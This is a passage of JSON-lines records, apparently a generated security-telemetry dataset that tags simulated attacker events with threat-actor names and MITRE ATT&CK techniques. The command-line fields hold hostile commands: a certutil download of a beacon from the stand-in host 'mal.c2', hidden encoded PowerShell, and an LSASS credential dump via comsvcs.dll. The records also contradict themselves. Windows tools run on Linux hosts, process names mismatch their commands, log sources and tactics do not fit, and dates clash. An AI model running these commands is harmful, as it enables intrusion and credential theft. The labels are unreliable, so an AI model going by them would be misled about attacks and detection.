-urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-02-05T07:01:06.000Z","user":{"name":"arn:aws:iam::p647lhs5nz5b","sid":"S-1-5-21-735888153-327804756-5964"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1570 using LOLBin technique.","sub_technique":"Lateral Tool Transfer","tactic":["Persistence"],"technique_id":"T1570"},"event_id":"evt_volttyphoon_20260628T162551000Z_0019391","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.54.120.41","name":"WIN-FIN-SRV-I183IKO8IN","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19391Volt TyphoonT1570"},"network":{"domain":"github.com","dst_ip":"1.143.182.210","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-08-21T08:58:44.000Z","user":{"name":"i-pk08txfc92sl","sid":"S-1-5-21-471863804-263766831-8996"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Execution"],"technique_id":"T1566.001"},"event_id":"evt_mustangpanda_20261128T174401000Z_0019393","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.37.120.82","name":"AZURE-VM-WO5SMBVX13","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19393Mustang PandaT1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.8.190.242","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-07-05T07:06:20.000Z","user":{"name":"arn:aws:iam::zcvliclkj54b","sid":"S-1-5-21-268260336-404529512-2660"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Execution","Initial Access","Exfiltration"],"technique_id":"T1484.001"},"event_id":"evt_apt29_20251230T144941000Z_0019395","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.40.52.86","name":"WIN-FIN-SRV-XXABYRT80D","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19395APT29T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.63.31.75","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"mshta.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-07-06T15:54:41.000Z","user":{"name":"i-8b296r34svuc","sid":"S-1-5-21-289267087-396795709-6150"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Privilege Escalation","Lateral Movement"],"technique_id":"T1570"},"event_id":"evt_apt29_20251031T033656000Z_0019397","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.201.100.140","name":"IAM-ROLE-MV87PYF4XE","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19397APT29T1570"},"network":{"domain":"aws.amazon.com","dst_ip":"1.59.64.107","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1610 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-02-06T15:33:22.000Z","user":{"name":"svc_yj0fc6s2utgp","sid":"S-1-5-21-663244856-331967548-9571"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Privilege Escalation"],"technique_id":"T1566.001"},"event_id":"evt_scatteredspider_20251125T230746000Z_0019399","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.10.171.31","name":"IAM-ROLE-J7DKHTQY11","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19399Scattered SpiderT1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.143.33.90","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-12-30T23:32:49.000Z","user":{"name":"azuread\\etzup1sxjoqm","sid":"S-1-5-21-702008817-462128266-2469"}}